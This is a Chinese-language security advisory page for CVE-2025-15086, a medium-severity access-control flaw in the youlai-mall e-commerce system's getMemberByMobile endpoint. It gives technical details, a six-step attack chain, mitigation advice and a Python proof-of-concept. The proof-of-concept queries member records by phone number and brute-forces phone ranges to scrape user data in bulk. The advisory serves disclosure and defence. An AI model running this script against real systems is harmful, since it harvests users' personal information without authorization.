IPBUF安全漏洞报告
English
CVE-2025-15086 CVSS 4.3 中危

CVE-2025-15086 | youlai-mall getMemberByMobile访问控制绕过漏洞

披露日期: 2025-12-25

漏洞信息

漏洞编号
CVE-2025-15086
漏洞类型
访问控制绕过
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
youlaitech youlai-mall

相关标签

访问控制绕过水平权限漏洞信息泄露youlai-mall电商系统CVE-2025-15086API安全移动端认证漏洞

漏洞概述

CVE-2025-15086是youlaitech开源电商系统youlai-mall中的一个中等严重性安全漏洞。该漏洞存在于1.0.0和2.0.0版本中,问题出在MemberController.java文件的getMemberByMobile函数。由于该接口缺少适当的访问控制验证,攻击者可以在无需高权限的情况下远程调用此接口,通过手机号码查询获取系统中注册用户的敏感信息。漏洞的CVSS评分为4.3,属于中危级别。攻击向量为网络方式,攻击者只需具备低权限即可实施攻击,且无需用户交互。该漏洞已被公开披露且利用代码已公开,供应商在收到通知后未做出任何响应。对于运行受影响版本的系统,攻击者可能通过枚举手机号码批量获取用户隐私数据,包括用户ID、昵称、头像等个人信息,存在信息泄露风险。

技术细节

该漏洞位于youlai-mall项目的mall-ums模块中,具体路径为ums-boot/src/main/java/com/youlai/mall/ums/controller/app/MemberController.java。getMemberByMobile方法在实现用户手机号查询功能时,未正确实施权限检查机制。在正常的访问控制设计中,类似的用户信息查询接口应当验证请求者是否具有查看目标用户信息的权限,或者至少要求请求者通过身份认证并具备相应角色。然而,该接口允许任意已认证用户(甚至低权限用户)通过传入目标手机号码来查询任意用户的会员信息。攻击者可以通过构造HTTP请求包,指定目标手机号参数来获取对应用户的敏感数据。由于接口直接返回完整的用户信息响应,攻击者可以遍历手机号段进行批量信息抓取。漏洞的根本原因在于开发过程中对API端点的访问控制设计不足,缺少必要的授权校验逻辑,导致水平权限控制失效。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标系统运行的是youlai-mall 1.0.0或2.0.0版本,通过扫描或指纹识别确定API端点暴露情况
STEP 2
步骤2: 获取低权限访问
攻击者注册普通用户账号或利用已有低权限账户登录系统,获取有效的认证凭证(如JWT Token或Session)
STEP 3
步骤3: 构造恶意请求
攻击者构造针对/app/ums/member/getByMobile端点的HTTP POST请求,在请求体中指定目标手机号码参数
STEP 4
步骤4: 绕过访问控制
由于getMemberByMobile方法缺少权限校验,攻击者的低权限凭证足以通过验证,请求被正常处理
STEP 5
步骤5: 获取敏感信息
服务器返回目标手机号对应的用户完整信息,包括用户ID、昵称、头像、注册时间等敏感数据
STEP 6
步骤6: 批量数据窃取
攻击者编写脚本自动化遍历手机号段,批量获取系统中大量用户的隐私信息用于后续攻击或数据贩卖

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2025-15086 PoC - youlai-mall Unauthorized Member Information Disclosure # Target: youlai-mall 1.0.0/2.0.0 # Vulnerability: Improper Access Control in getMemberByMobile endpoint def exploit_cve_2025_15086(target_url, phone_number): """ Exploit function to retrieve member info by mobile number without proper authorization check. Args: target_url: Base URL of the vulnerable youlai-mall instance phone_number: Target phone number to query Returns: Response containing member information if vulnerable """ endpoint = f"{target_url}/app/ums/member/getByMobile" headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" } # Request payload with target phone number data = { "mobile": phone_number } try: response = requests.post(endpoint, json=data, headers=headers, timeout=10) if response.status_code == 200: result = response.json() print(f"[+] Success! Retrieved member info for {phone_number}") print(f"[+] Response: {result}") return result else: print(f"[-] Request failed with status code: {response.status_code}") return None except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None # Batch enumeration example def enumerate_members(target_url, phone_prefix="138"): """ Demonstrate batch enumeration of member information """ print(f"[*] Starting enumeration on {target_url}") # Enumerate phone numbers with common prefixes for i in range(1000, 9999): phone = f"{phone_prefix}{i:04d}0000" result = exploit_cve_2025_15086(target_url, phone) if result and result.get("code") == 0: print(f"[+] Found valid member: {result}") if __name__ == "__main__": TARGET = "http://vulnerable-server.com" PHONE = "13800138000" print("[*] CVE-2025-15086 PoC") print("[*] Target: youlai-mall getMemberByMobile") exploit_cve_2025_15086(TARGET, PHONE)

影响范围

youlai-mall 1.0.0
youlai-mall 2.0.0

防御指南

临时缓解措施
在官方补丁发布之前,建议采取以下临时缓解措施:1) 通过Web应用防火墙(WAF)规则限制/app/ums/member/*路径的访问频率;2) 在反向代理层添加访问控制策略,限制非必要用户访问会员查询接口;3) 临时关闭getMemberByMobile接口或限制为管理员专用;4) 加强应用日志监控,及时发现异常的手机号查询行为;5) 对API接口启用更严格的认证要求,确保所有请求都经过完整的安全验证流程。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表